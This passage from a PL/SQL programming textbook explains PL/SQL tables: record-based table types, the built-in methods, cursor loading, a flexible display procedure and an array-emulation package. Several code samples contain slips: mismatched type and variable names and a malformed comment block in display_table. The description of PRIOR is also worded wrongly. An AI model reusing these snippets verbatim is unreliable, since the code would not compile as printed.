DELETE | Deletes one or more elements from the PL/SQL table.
EXISTS | Returns FALSE if a reference to an element at the specified index would raise the NO_DATA_FOUND exception.
FIRST | Returns the smallest index of the PL/SQL table for which an element is defined.
LAST | Returns the greatest index of the PL/SQL table for which an element is defined.
NEXT | Returns the smallest index of the PL/SQL table containing an element which is greater than the specified index.
PRIOR | Returns the greatest index of the PL/SQL table containing an element which is less than the specified index.

These functions and procedures are described in detail later in this chapter.

10.8.1 PL/SQL Tables of Records

To declare a PL/SQL table, you must first declare a PL/SQL table TYPE. The syntax for the TYPE statement is as follows:

TYPE <type name> IS TABLE OF <datatype>
   INDEX BY BINARY_INTEGER;

With PL/SQL Release 2.3, the <datatype> may be a record type. This record type can be defined using the %ROWTYPE declaration attribute. You can also specify a previously defined record structure defined with the TYPE statement for records.

When you do create a PL/SQL table based on a record structure, that record may only be composed of scalar fields. A nested record type (in which a field in the record is yet another record type) may not be used to define a table type.

The following examples illustrate the different ways to declare table types based on records:

  • Declare a PL/SQL table type with same structure as the employee table:

    TYPE local_emp_table IS TABLE OF employee%ROWTYPE
   INDEX BY BINARY_INTEGER;

  • Declare a PL/SQL table type to correspond to the data returned by a cursor:

    CURSOR emp_cur IS SELECT * FROM employee;

TYPE cursor_emp_table IS TABLE OF emp_cur%ROWTYPE
   INDEX BY BINARY_INTEGER;

  • Declare a PL/SQL table type based on a programmer-defined record:

    TYPE emp_rectype IS
   RECORD (employee_id INTEGER, emp_name VARCHAR2(60));

TYPE emp_table IS TABLE OF emp_rectype
   INDEX BY BINARY_INTEGER;

Notice that when you use a programmer-defined record type you do not append the %ROWTYPE attribute to the record type. That is only done when you are using a table-based or cursor-based record.

10.8.1.1 Referencing fields of record elements in PL/SQL tables

References to fields of elements of PL/SQL tables which are records have the following syntax:

<table name>(<index expression>).<field name>

where <table name> is the name of the table, <index expression> is an expression (constant, variable, or computed expression) which evaluates to a number and <field name> is the name of the field in the record used to define the PL/SQL table.

If, for example, you have created a PL/SQL table named emp_tab based on a record structure with a field named emp_name, then the following assignment sets the employee name in the 375th row of the PL/SQL table to SALIMBA:

emp_tab(375).emp_name := 'SALIMBA';

The index to the table does not have to be a constant. In the following example, the index is calculated:

IF names_table (old_name_row + 1).last_name = 'SMITH'
THEN

You can define functions which return PL/SQL tables. As a result, you can also reference a field in a PL/SQL table's record with the following syntax:

<function name>(<argument list>)(<index expression>).<field name>

An example will make it easier to understand this complicated syntax. Suppose that I have defined a function as follows:

FUNCTION best_company (year_in IN INTEGER)
   RETURN company_tabtype;

where company_tabtype is a PL/SQL table type with a record structure for its element. Then the following call to PUT_LINE displays the name of the company found in the tenth row of the returned table:

DBMS_OUTPUT.PUT_LINE
   (best_company(1995)(10).company_name || ' was tenth best!');

To make sense of this expression, break it up into its components:

best_company(1995)

Returns a table, each row of which contains information about a company.

best_company(1995)(10)

Returns the tenth row of that table.

best_company(1995)(10).company_name

Returns the name of the company found in the tenth row of the table.

You can improve the readability of such a statement by separating it as follows:

current_company_rec := best_company(1995)(10);

DBMS_OUTPUT.PUT_LINE
   (current_company.company_name || ' was tenth best!')

where current_company_rec is a record defined with the same type as the RETURN clause of the best_company function. Now you have two statements where only one is really needed, but the code can be more easily understood and therefore maintained.

10.8.1.2 Assigning records in PL/SQL tables

You can assign a whole record fetched from the database directly into the row of a PL/SQL table as shown below (where both the cursor and the PL/SQL table use the same company%ROWTYPE row type declaration):

FOR company_rec IN company_cur
LOOP
   /* Get last row used and add one. */
   next_row := NVL (company_table.LAST, 0) + 1;

   company_table(next_row) := company_rec;

END LOOP;

10.8.2 PL/SQL Table Built-ins

Each of the PL/SQL table built-in procedures and functions provides different information about the referenced PL/SQL table, except for DELETE, which removes rows from the PL/SQL table. The syntax for using the table built-ins for PL/SQL tables is different from the syntax I described in Part 3, Built-In Functions of this book. It employs a "member method" syntax, common in object-oriented languages such as C++.

To give you a feeling for member-method syntax, consider the LAST function. It returns the greatest index value in use in the PL/SQL table. Using standard function syntax, you might expect to call LAST as follows:

IF LAST (company_table) > 10 THEN ... /* Invalid syntax */

In other words, you would pass the PL/SQL table as an argument. In contrast, by using the member-method syntax, the LAST function is a method which "belongs to" the object, in this case the PL/SQL table. So the correct syntax for using LAST is:

IF company_table.LAST > 10 THEN ... /* Correct syntax */

The general syntax for calling these PL/SQL table built-ins is either of the following:

  • An operation which takes no arguments:

    <table name>.<operation>

  • An operation which takes a row index for an argument:

    <table name>.<operation>(<index number> [, <index_number>])

The following statement, for example, returns TRUE if the 15th row of the company_tab PL/SQL table is defined:

company_tab.EXISTS(15)

By using the member-method syntax, Oracle is able to distinguish the PL/SQL table functions such as EXISTS and DELETE from the SQL operations of the same name (which never appear with dot-qualified notation).

The following sections describe each of the table built-ins.

10.8.2.1 The COUNT function

The COUNT function returns the number of elements currently defined in the PL/SQL table. The specification for the function is:

FUNCTION COUNT RETURN INTEGER;

You call COUNT as follows:

total_rows := emp_table.COUNT;

Notice that if the emp_table structure were defined inside a package, then double dot notation would be needed to get the count:

total_rows := employee_pkg.emp_table.COUNT;

Prior to PL/SQL Release 2.3, the only way to determine this count was to manually keep track of the number of elements defined in the table.

10.8.2.2 The DELETE procedure

The DELETE procedure deletes elements from the specified PL/SQL table. The specifications for the procedure are overloaded, as shown in the following table.

Procedure Header Description of Use
PROCEDURE DELETE;

Just as with SQL, this simplest form of the DELETE build-in (which takes no arguments at all) has the most sweeping impact: delete all rows from the PL/SQL table.

PROCEDURE DELETE
(index_in IN INTEGER);

Delete the row specified by that index.

PROCEDURE DELETE
(start_index_in IN INTEGER,
end_index_in IN INTEGER);

Deletes all the rows defined between the start and end indexes. If end_index_in is less than start_index_in, then no rows are deleted.

If any of the arguments to DELETE is NULL, then the operation does not remove any rows at all.

You call DELETE as shown in the following examples:

  • Delete all the rows from the names table:

    names_tab.DELETE;

  • Delete the 77th row from the globals table:

    ps_globals.DELETE (77);

  • Delete all rows in the temperature readings table between the 0th row and the -15,000th row, inclusive:

    temp_reading_tab.DELETE (-15000, 0);

Prior to PL/SQL Release 2.3, the only way to delete rows from a PL/SQL table was to assign an empty table to the existing PL/SQL table. The DELETE procedure gives you much finer control over the memory required by your PL/SQL tables.

10.8.2.3 The EXISTS function

The EXISTS function returns TRUE if an element is defined at the specified index in a PL/SQL table. Otherwise, it returns FALSE. The specification for the function is:

FUNCTION EXISTS (index_in IN INTEGER) RETURN BOOLEAN;

You call EXISTS as follows:

IF seuss_characters_table.EXISTS(1) THEN ...

Prior to PL/SQL Release 2.3, you could emulate the EXISTS function with your own function looking something like this:

/* Filename on companion disk: rowexist.sf */
FUNCTION row_exists
   (table_in IN <table type>, row_in IN INTEGER) RETURN BOOLEAN
IS
   stg VARCHAR2(20);
BEGIN
   stg := table_in (row_in);
   RETURN TRUE;
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      RETURN FALSE;
END;

Unfortunately, you would need a different version of the function for each PL/SQL table TYPE, which makes this a very undesirable approach. The EXISTS function is a big improvement.

10.8.2.4 The FIRST function

The FIRST function returns the lowest value index for which an element is defined in the specified PL/SQL table. The specification for the function is:

FUNCTION FIRST RETURN INTEGER;

You call FIRST as follows:

first_entry_row := employee_table.FIRST;

If the PL/SQL table does not contain any elements at all, FIRST returns NULL.

10.8.2.5 The LAST function

The LAST function returns the highest value index for which an element is defined in the specified PL/SQL table. The specification for the function is:

FUNCTION LAST RETURN INTEGER;

You call LAST as follows:

last_entry_row := employee_table.LAST;

If the PL/SQL table does not contain any elements at all, LAST returns NULL.

If you plan to use the PL/SQL table to fill rows sequentially from, say, the first row, you will want to make sure to use the NVL function (see Chapter 13, Numeric, LOB, and Miscellaneous Functions) to convert the NULL to a zero, as shown in this example.

The following block uses a cursor FOR loop to transfer data from the database to a PL/SQL table of records. When the first record is fetched, the company_table is empty, so the LAST operator will return NULL. NVL converts that value to zero. I then add one and I am on my way:

FOR company_rec IN company_cur
LOOP
   /* Get last row used and add one. */
   next_row := NVL (company_table.LAST, 0) + 1;

   /* Set the (next_row) values for ID. */
   company_table(next_row).company_id :=
         company_rec.company_id;

END LOOP;

10.8.2.6 The NEXT function

The NEXT function returns the next greater index after the specified index at which some element is defined in the specified PL/SQL table. The specification for the function is:

FUNCTION NEXT (index_in IN INTEGER) RETURN INTEGER;

You call NEXT as follows:

next_index := employee_table.NEXT (curr_index);

Remember that PL/SQL tables are sparse: if the tenth and 2005th rows are defined, there is no guarantee that the 11th row is also defined. NEXT gives you a way to find the next defined element, "skipping over" any undefined row numbers.

The table.NEXT procedure will return NULL if there aren't any elements defined after the specified row.

10.8.2.7 The PRIOR function

The PRIOR function returns the prior greater index after the specified index at which some element is defined in the specified PL/SQL table. The specification for the function is:

FUNCTION PRIOR (index_in IN INTEGER) RETURN INTEGER;

You call PRIOR as follows:

prev_index := employee_table.PRIOR (curr_index);

Remember that, as we described in the preceding section, PL/SQL tables are sparse. PRIOR gives you a way to find the previously defined element, "skipping over" any undefined row numbers.

The table.PRIOR procedure will return NULL if there aren't any elements defined before the specified row.

Previous: 10.7 Clearing the PL/SQL Table | Oracle PL/SQL Programming, 2nd Edition | Next: 10.9 Working with PL/SQL Tables
10.7 Clearing the PL/SQL Table | Book Index | 10.9 Working with PL/SQL Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.9 Working with PL/SQL Tables

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

10.9 Working with PL/SQL Tables

The remainder of this chapter provides you with lots of examples of ways to use PL/SQL tables in your applications.

10.9.1 Transferring Database Information to PL/SQL Tables

You cannot use a SQL SELECT statement to transfer data directly from a database table to a PL/SQL table. You need to take a programmatic approach. A cursor FOR loop usually makes the most sense for this process, which requires the following steps:

  1. Define a PL/SQL table TYPE for each datatype found in the columns of the database table.

  2. Declare PL/SQL tables which will each receive the contents of a single column.

  3. Declare the cursor against the database table.

  4. Execute the FOR loop. The body of the loop will contain a distinct assignment of one column into one PL/SQL table.

In PL/SQL Release 2.3, this process would be much simpler. You could define a PL/SQL table with the same structure as the database table by creating a table-based record. Prior to that release, unfortunately, you need a separate PL/SQL table for each column. You do not, on the other hand, need a separate table TYPE for each column. If you have two date columns, for example, you can declare two separate PL/SQL tables both based on the same TYPE.

In the following example I load the company ID, incorporation date, and filing date from the database table to three different PL/SQL tables. Notice that there are only two types of PL/SQL tables declared:

/* Filename on companion disk: db2tab1.sql (see db2tab2.sql for the PL/SQL Release 2.3 version of same transfer) */
DECLARE
   /* The cursor against the database table. */
   CURSOR company_cur
   IS
       SELECT company_id, incorp_date, filing_date FROM company;

   /* The PL/SQL table TYPE and declaration for the primary key. */
   TYPE company_keys_tabtype IS
      TABLE OF company.company_id%TYPE NOT NULL
      INDEX BY BINARY_INTEGER;
   company_keys_table primary_keys_tabtype;

   /* Sincle PL/SQL table TYPE for two different PL/SQL tables. */
   TYPE date_tabtype IS
      TABLE OF DATE
      INDEX BY BINARY_INTEGER;
   incorp_date_table date_tabtype;
   filing_date_table date_tabtype;

   /* Variable to keep track of number of rows loaded. */
   num_company_rows BINARY_INTEGER := 0;
BEGIN
   /* The cursor FOR loop */
   FOR company_rec IN company_cur
   LOOP
      /* Increment to the next row in the two, coordinated tables. */
      num_company_rows := num_company_rows + 1;

      /* Set the row values for ID and dates. */
      company_keys_table (num_company_rows) := company_rec.company_id;
      incorp_date_table (num_company_rows) := company_rec.incorp_date;
      filing_date_table (num_company_rows) := company_rec.filing_date;

   END LOOP;
END;

10.9.2 Data-Smart Row Numbers in PL/SQL Tables

As I've mentioned, one of the most interesting and unusual aspects of the PL/SQL table is its sparseness. I can have a value in the first row and in the 157th row of the table, with nothing in between. This feature is directly related to the fact that a PL/SQL table is unconstrained. Because there is no limit on the number of rows in a table, PL/SQL does not set aside the memory for that table at the time of creation, as would normally occur with an array.

When you use the PL/SQL table to store and retrieve information sequentially, this sparse quality doesn't have any real significance. The ability to store data nonsequentially can, however, come in very handy. Because the row number does not have to be sequentially generated and used, it can represent data in your application. In other words, it can be "data-smart."

Suppose you want to use a PL/SQL table to store the text of messages associated with numeric error codes. These error codes are patterned after Oracle error codes, with ranges of values set aside for different aspects of the application: 1000-1999 for employee-related errors, 5000-5999 for company-related errors, etc. When a user action generates an error, the error number is passed to a procedure which then looks up and displays the message. By storing this information in PL/SQL tables, you avoid a lookup against the remote database.

Let's take a look at sequential and indexed access to implement this functionality.

10.9.2.1 Sequential, parallel storage

One possible way to implement this procedure is to create two tables: one that holds the error codes (stored sequentially in the table) and another that holds the messages (also stored sequentially). When an error is encountered, the procedure scans sequentially through the PL/SQL table of codes until it finds a match. The row in which the code is found is also the row in the PL/SQL message table; it uses the row to find the message and then displays it. Figure 10.2 shows the correlation between these two tables.

Figure 10.2: Using sequential access to correlate contents of two tables

The code needed to implement this algorithm is shown in the following procedure. The procedure assumes that the two PL/SQL tables have already been loaded with data. The error_pkg.last_row variable is the last row containing an error code:

/* Filename on companion disk: seqretr.sp */
PROCEDURE display_error (errcode_in IN NUMBER)
IS
   matching_row BINARY_INTEGER := 1;
   keep_searching BOOLEAN := error_pkg.last_row > 0;
BEGIN
   WHILE keep_searching
   LOOP
      /* Does the current row match the specified error code? */
      IF error_pkg.error_codes_table (matching_row) = errcode_in
      THEN
         DBMS_OUTPUT.PUT_LINE
            (error_pkg.error_messages_table (matching_row));
         keep_searching := FALSE;
      ELSE
         /* Move to the next error code in the table */
         matching_row := matching_row + 1;
         keep_searching := matching_row <= error_pkg.last_row;
      END IF;
   END LOOP;
END;

A straightforward, sensible approach, right? Yes and no. Yes, it is straightforward. No, in the context of the PL/SQL table, it is not sensible. This module insists on performing a sequential scan when such a step is not necessary.

10.9.2.2 Using the index as an intelligent key

A much simpler way to accomplish this same task is to use the error code itself as the primary key value for the row in the error messages table. Then I need only one table -- to hold the error messages (see Figure 10.3).

Figure 10.3: Using indexed access to retrieve value with intelligent key row

Instead of matching the error code and then using the primary key to locate the corresponding message, the error code is itself the index into the PL/SQL table. By using a single table and data-smart values for the primary key, the display_error procedure boils down to the code shown below:

/* Filename on companion disk: indretr.sp */
PROCEDURE display_error (errcode_in IN NUMBER) IS
BEGIN
   /*
   || Deceptively simple: use the error code as the row, retrieve
   || the message, and display it. All in one statement!
   */
   DBMS_OUTPUT.PUT_LINE
            (error_pkg.error_messages_table (errcode_in));
EXCEPTION
   /*
   || Just in case an undefined error code is passed to the
   || procedure, trap the failure in the exception section.
   */
   WHEN NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE
          ('No match found for error code = ' || TO_CHAR (errcode_in));
END;

It has taken me a while to fully internalize the difference between a PL/SQL table and an array. I have had to go back and rewrite several packages and procedures once I realized that I had done it again, treating the PL/SQL table like a sequential access data structure.

So if you ever find yourself reading sequentially through a PL/SQL table, take a step back and consider what data you need to obtain and how it is being stored. Sometimes you do need to store data sequentially (when you use a PL/SQL table, for example, to implement a stack data structure). Frequently, however, you can simplify your life and your code by using data-smart values in your PL/SQL table.

10.9.3 Displaying a PL/SQL Table

When you work with PL/SQL tables, you often want to verify the contents of the table. The usual verification method is to display the contents of each row using DBMS_OUTPUT. This sounds like a simple enough task. In the most basic scenario where you have a sequentially filled table, the code is indeed straightforward.

The following procedures shows the small amount of code required to display a table which has rows 1 through n defined, where n is passed as a parameter to the procedure. The procedure displays a VARCHAR2 table; to display DATE or NUMBER tables, you simply need to use TO_CHAR to convert the value in the call to PUT_LINE:

/* Filename on companion disk: disptab1.sp */
PROCEDURE display_table
   (table_in IN <the_table_type>, -- Placeholder for real table type.
    number_of_rows_in IN INTEGER)
IS
BEGIN
   /* For each row in the table ... */
   FOR table_row IN 1 .. number_of_rows_in
   LOOP
      /* Display the message, including the row number */
      DBMS_OUTPUT.PUT_LINE
         ('Value in row ' || TO_CHAR (table_row) || ': ' ||
          table_in (table_row));
   END LOOP;
END;

To put this display_table module to use, you will need to create a different version of this procedure for each different type of table, because the table is passed as a parameter. That table's type must be declared in the parameter list in place of the <the_table_type> text.

Of course, not all PL/SQL tables can be filled in ways which are displayed as easily as the one shown above. To start with, the display_table procedure makes many assumptions about its table profile (although very few tables actually fit this profile). These include the following:

  • The first defined row of the table is row one. The FOR loop always starts at one.

  • All rows between one and number_of_rows_in are defined. There is no exception handler for NO_DATA_FOUND.

  • The number_of_rows_in is a positive number. The loop does not even consider the possibility of negative row numbers.

Very few PL/SQL tables actually fit this profile. Even a traditional, sequentially filled table might start its rows at some arbitrary value; a PL/SQL table might be sparsely filled; you might know the starting row (lowest value) and the ending row (maximum value), but not really know which of the rows between those end points are defined. A table with the Oracle error codes would have all of these characteristics.

10.9.3.1 A flexible display_table procedure

It is possible to build a version of display_table which takes into account all of these variations in a PL/SQL table's structure. For example:

  • The program must be supplied with both a starting and an ending row for the scan through the table.

  • The program also needs to be told how many times it should encounter and handle an undefined row as it scans the table.

  • display_table needs a parameter which specifies the increment by which it loops through the table. This increment can be negative, which would allow you to scan in reverse through the rows of the table.

By incorporating all of this input, the header for display_table becomes:

PROCEDURE display_table
   (table_in IN <the_table_type>,
    end_row_in IN INTEGER ,
    start_row_in IN INTEGER := 1,
    failure_threshold_in IN INTEGER := 0,
    increment_in IN INTEGER := +1)

where the parameters are defined as:

table_in

The table to be displayed. Again, you would need a different version of this program for each different table type you want to display.

end_row_in

The last row that is defined in the table. If sequentially filled from row 1, this value would simply be the maximum number of rows.

start_row_in

The starting row defined in the table. The default is 1.

failure_threshold_in

The number of times the procedure will raise the NO_DATA_FOUND exception before it stops scanning through the table. The default is zero, which means that the first time it tries to access an undefined row it will stop.

increment_in

The amount by which the row counter is incremented as the procedure scans through the table. The default is +1. If you know that every 15th row is defined, you can pass 15 and avoid the NO_DATA_FOUND exceptions. If your rows are negative, as with Oracle error codes, specify -1 for the increment and the procedure will then scan backwards through the table.

This version of display_table shown in the following example displays both sequentially filled and sparsely filled PL/SQL tables. When I use the new display_table to view the contents of a sequentially filled table, the call to the procedure looks exactly the same as in the first version:

display_table (customer_tab, num_customers);

If I store the Oracle error codes in my table, then I can take advantage of all these different parameters to view only the errors dealing with the date functions (-01800 through -01899) with the following command:

display_table (ora_errors_tab, -1899, -1800, 100, -1);

My end row is -1899 and my start row is -1800. I allow the procedure to access up to 100 undefined rows, because not all of these values are currently defined. I know that this is enough because the full range is only 100. Finally, I tell display_table to read backwards through the table, as is appropriate given the negative values of the rows.

10.9.3.2 Examples of display_table output

To test the display_table procedure I created a package named dt which declared a VARCHAR2 table type named string_tabletype and defined the procedure. I then built the SQL*Plus script shown in the example below. Notice that I use three substitution variables (&1, &2, and &3):

DECLARE
   t dt.string_tabletype;
BEGIN
   t(1) := 'hello';
   t(2) := 'world!';
   t(11) := 'I hope';
   t(21) := 'we make it';
   t(22) := 'to the year';
   t(75) := '2000.';
   dt.display_table (t, &1, &2, &3);
END;
/

Here are some of the results of my test scripts:

SQL> start disptab 100 1 100
Value in row 1: hello
Value in row 2: world!
Value in row 11: I hope
Value in row 21: we make it
Value in row 22: to the year
Value in row 75: 2000.

SQL> start disptab 100 1 50
Value in row 1: hello
Value in row 2: world!
Value in row 11: I hope
Value in row 21: we make it
Value in row 22: to the year
Exceeded threshold on undefined rows in table.

SQL> start disptab 2 1 0
Value in row 1: hello
Value in row 2: world!

SQL> start disptab 3 1 0
Value in row 1: hello
Value in row 2: world!
Exceeded threshold on undefined rows in table.

SQL> start disptab 50 10 50
Value in row 11: I hope
Value in row 21: we make it
Value in row 22: to the year

10.9.3.3 Implementation of display_table

The first argument in display_table is a PL/SQL table. Because there is no such thing as a generic PL/SQL table structure, you will need to create a version of this procedure for each of your tables. Alternatively, you could create a generic program which handles all the logic in this program which does not rely on the specific table. Then each of your PL/SQL table-specific versions could simply call that generic version.

/* Filename on companion disk: disptab2.sp */
PROCEDURE display_table
   (table_in IN <the_table_type>,
    end_row_in IN INTEGER ,
    start_row_in IN INTEGER := 1,
    failure_threshold_in IN INTEGER := 0,
    increment_in IN INTEGER := +1)
IS
   /* The current row displayed as I scan through the table */
   current_row INTEGER := start_row_in;

   /* Tracks number of misses, compared to threshold parameter. */
   count_misses INTEGER := 0;

   /* Used in WHILE loop to control scanning thru table. */
   within_threshold BOOLEAN := TRUE;

   /*----------------------- Local Module ------------------------*/
   || Determine if specified row is within range. I put this
   || into a function because I need to see which direction I
   || am scanning in order to determine whether I'm in range.
   */
   FUNCTION in_range (row_in IN INTEGER) RETURN BOOLEAN IS
   BEGIN
      IF increment_in < 0
      THEN
         RETURN row_in >= end_row_in;
      ELSE
         RETURN row_in <= end_row_in;
      END IF;
   END;
BEGIN
   /* The increment cannot be zero! */
   IF increment_in = 0
   THEN
      DBMS_OUTPUT.PUT_LINE
            ('Increment for table display must be non-zero!');
   ELSE
      /*
      || Since I allow the user to pass in the amount of the increment
      || I will switch to a WHILE loop from the FOR loop. I keep
      || scanning if (1) have not reached last row and (2) if I have
      || not run into more undefined rows than allowed by the
      || threshold parameter.
      */
      WHILE in_range (current_row) AND within_threshold
      LOOP
         /*
         || I place call to PUT_LINE within its own anonymous block.
         || This way I can trap a NO_DATA_FOUND exception and keep on
         || going (if desired) without interrupting the scan.
         */
         BEGIN
            /* Display the message, including the row number */
            DBMS_OUTPUT.PUT_LINE
               ('Value in row ' || TO_CHAR (current_row) || ': ' ||
                table_in (current_row));

            /* Increment the counter as specified by the parameter */
            current_row := current_row + increment_in;

         EXCEPTION
            WHEN NO_DATA_FOUND
            THEN
               /*
               || If at the threshold then shut down the WHILE loop by
               || setting the Boolean variable to FALSE. Otherwise,
               || increment the number of misses and current row.
               */
               within_threshold := count_misses < failure_threshold_in;
               IF within_threshold
               THEN
                  count_misses := count_misses + 1;
                  current_row := current_row + increment_in;
               END IF;
         END;
      END LOOP;
      /*
      || If I stopped scanning because of undefined rows, let the
      || user know.
      */
      IF NOT within_threshold
      THEN
         DBMS_OUTPUT.PUT_LINE
            ('Exceeded threshold on undefined rows in table.');
      END IF;
   END IF;
END;

By spending the time to think about the different ways a developer might want to display a table and the different kinds of tables to be displayed, and by adding the parameters necessary to handle these scenarios, I have transformed a very simple and limited procedure into a generic and useful program. While the more generic code is significantly more complex than that in the original display_table, I have to write it (and test it) only once. From then on, I simply substitute an actual table type.

10.9.4 Building Traditional Arrays with PL/SQL Tables

As I've mentioned, neither PL/SQL nor any other component of the Oracle product set supports true arrays. You cannot, for example, declare a two-dimensional array which is manipulated with statements such as the following:

company (2,3) := '100 Main St';
min_profits := financial_matrix (profit_row, min_column);

For years developers have complained about the lack of support for arrays. Although tables serve some of the same purposes as arrays, they are not equivalent. You can use a PL/SQL table as an array, but only one that is single-dimensional. If you need to make use of the more common two-dimensional array, such as a 10 � 10 array composed of 100 cells, then a PL/SQL table -- all on its own -- will not do the trick. You can, however, build a layer of code which will emulate a traditional n � m array based on the PL/SQL table data structure.

NOTE: This implementation relies on the PL/SQL package structure, which is covered in Chapter 16, Packages. If you are not familiar yet with packages, you may want to read through that chapter before diving into this exploration of array emulation.

10.9.4.1 Obstacles to implementing arrays

The first time I tried to implement such an array structure with PL/SQL tables, I gave up, thinking that it simply wasn't possible. My strategy had been to create a table for each of the n columns in the array. A 2 � 3 array would, in other words, consist of three different tables of the same type, as shown in Figure 10.4. The problem with this approach is that I could not dynamically generate the name of a PL/SQL table at runtime.

Suppose I supplied you with a function in which you specified the number of rows and columns in your array. You would expect to have a pointer to the array of that size returned to you. I can certainly return to you a pointer to a single PL/SQL table; it would simply be declared at the start of the function. If the array was made up of an arbitrary number of tables, however, I could not declare each of these as they were needed.

Figure 10.4: Three tables supporting a 2 � 3 array

I was about to give up when I realized that, oddly enough, the elements of the PL/SQL table which make it so different from an array -- that it is both unconstrained and sparse -- allow me to use a single PL/SQL table to implement the traditional n � m array, where n and m are virtually any positive integers. Because the PL/SQL table has no (practical) size limitation and I can use whichever rows in the table I desire, I can spread the m different columns of n rows across the expanse of the PL/SQL table. In other words, I can partition the single PL/SQL table so that it contains all the cells of a traditional array.

10.9.4.2 Partitioning a PL/SQL table to store an array

To understand how this partitioning works, consider a 3 � 4 array. This array contains a total of 12 cells. The cells would be spread among the rows of a PL/SQL table as shown in Figure 10.5. Using the distribution in the figure, we can see that cell (3,3) would be stored in row 9 of the table, that cell (2,4) would be stored in row 11, and so on.

Figure 10.5: Distribution of 3 � 4 array cells in PL/SQL table

The general formula which converts the row and column of an array cell to the corresponding PL/SQL table row is this:

table_row := (cell_column - 1) * number_of_rows_in_array + cell_row;

where (cell_row, cell_column) is the cell in the array and number_of_rows_in_array is the total number of rows in the array.

10.9.4.3 Features of the array package

The array package I have developed (shown later in this section) implements traditional n � m arrays using PL/SQL tables. This package supports arrays of numeric values only. You would need to create an overloaded version of these same modules for character, date, and other values.

The following shows the modules and capabilities offered by the array package:

array.make

Make or declare an array with specified numbers of rows and columns. You can optionally specify the default value you want placed in each cell.

array.cell

Obtain the value of any cell in the array.

array.change

Change the value of any cell in the array.

array.erase

Erase the array from memory.

array.display

Display the contents of the array. You can display the table contents in array style (matrix format) or inline style (one cell per line).

The package also provides two functions to return the number of rows and columns in the array (number_of_rows and number_of_columns, respectively). It does not, on the other hand, give programmers direct access to the variables which store these values. Instead, I hide the variables themselves in the package body and place the functions in the specification. There are two reasons for this layer of code:

  • You cannot access stored package variables and PL/SQL Version 2 data structures such as PL/SQL tables directly from PL/SQL Release 1.1. The Version 1.1 layer cannot parse such references (see Appendix B, Calling Stored Procedures from PL/SQL Version 1.1). You can, however, call stored package functions from within Oracle Developer/2000.

  • It is always better to hide the way you implement functionality, including variables names, data structures, and algorithms. By not exposing the details (in this case, the names of the variables which store this information), I can change the underlying implementation without affecting the way programmers use the data.

Most of the code needed to support arrays is straightforward. Oddly enough, the most complicated module in this package is the display procedure; its complexity is derived from the flexibility it offers. You can display the contents of an array in linestyle (one cell per line) or array style (all cells in each row on the same line, like a spreadsheet). You can also ask to display only selected columns and rows.

10.9.4.4 Examples using array package

The following four examples show how the array package is used.

  • Create a 10 � 10 array with values all set to 0:

    array.make (10, 10, 0);

  • Set all the values in the first column of the array to 15:

FOR row_index IN 1 .. array.row_count
LOOP
   array.change (row_index, 1, 15);
END LOOP;

  • Set the values in the third row to the values in the fifth row:

FOR col_index IN 1 .. array.column_count
LOOP
   array.change (3, col_index, array.cell (5, col_index));
END LOOP;

  • Create and display contents of arrays:

    SQL> execute array.make (10,10,25);

PL/SQL procedure successfully completed.

SQL>   execute array.display(4,6,2,4);
Row       Column 2  Column 3  Column 4
4         25        25        25
5         25        25        25
6         25        25        25

SQL>  execute array.display(4,6,2,4,'line');
Cell (4,2): 25
Cell (4,3): 25
Cell (4,4): 25
Cell (5,2): 25
Cell (5,3): 25
Cell (5,4): 25
Cell (6,2): 25
Cell (6,3): 25
Cell (6,4): 25

There are many possibilities for expanding the capabilities of the array package. You could, for example, offer a module which performs scalar operations against the specified column(s) and row(s) of the array, such as multiplying all cells in the first column by a value. If you implement a version of the array package which supports more than one array at a time, you could build array-level, aggregate operations, such as "multiply two arrays together" or "subtract one array from another," and so on.

I hope that you can see from this section that even if the current version of PL/SQL does not offer every single feature you might want or need, there is often a way to emulate the desired feature. The array package is not nearly as convenient or efficient as true, native arrays would be, but if you have a need right now for an array in PL/SQL Version 2, the package implementation is hard to beat!

10.9.4.5 Limitations in array implementation

There is one major limitation to the implementation of arrays in this package. You can use only one array at a time from this package. The reason for this restriction is that I need to keep track of the number of rows and columns in the array. To make an association between the array (a PL/SQL table) and those values, I would need to ask you for a name for this array and then create named globals with the number of rows and columns. I avoid those complications by "burying" the structure of the array inside the package.

On the positive side, there are several advantages to hiding the table. One is that you have an array which is very easy to use. You never have to declare a table yourself. You simply ask to create or make the array and then you can access the cells.

Another advantage of hiding the table is that you don't have to pass it as a parameter when you call the modules. A PL/SQL table parameter could harm performance, because all the rows of the table are copied into and out of local memory structures for manipulation in that module. In the array package, the number_array table is declared at the package level so it is available to all modules in the package without having to be passed as a parameter.

One final advantage is that you can call this array package (stored in the database) from within the Oracle Developer/2000 tools. If the table were exposed, then the array could only be used in a PL/SQL Version 2 environment. Wow! When I decided to build it this way, I had no idea it would make this much sense.

10.9.4.6 The array package specification

The package specification lists the modules which programmers can call to create and manipulate an array with PL/SQL tables. Notice that the statements in the specification only show the header information: module name and parameters. The code behind these headers is found in the package body (next section):

/* Filename on companion disk: array.sps */
PACKAGE array
IS
   /* Returns the number of rows in the array */
   FUNCTION row_count RETURN INTEGER;

   /* Returns the number of columns in the array */
   FUNCTION column_count RETURN INTEGER;

   /* Create an array */
   PROCEDURE make
      (num_rows_in IN INTEGER := 10,
       num_columns_in IN INTEGER := 1,
       initial_value_in IN NUMBER := NULL,
       conflict_action_in IN VARCHAR2 := 'OVERWRITE');

   /* Return the value in a cell */
   FUNCTION cell (row_in IN INTEGER, col_in IN INTEGER)
      RETURN NUMBER;

   /* Change the value in a cell */
   PROCEDURE change
      (row_in IN INTEGER, col_in IN INTEGER, value_in IN NUMBER);

   /* Erase the array */
   PROCEDURE erase;

   /* Display the array */
   PROCEDURE display
      (start_row_in IN INTEGER := 1,
       end_row_in IN INTEGER := row_count,
       start_col_in IN INTEGER := 1,
       end_col_in IN INTEGER := column_count,
       display_style_in IN VARCHAR2 := 'ARRAY');

END array;

10.9.4.7 The array package body

The package body provides the code which implements the modules listed in the array package specification. The longest module in this bunch is the display procedure. Because this code is basically the same as that shown in Section 10.9.3, "Displaying a PL/SQL Table". I have not repeated it here. However, the full package body is found on the companion disk.

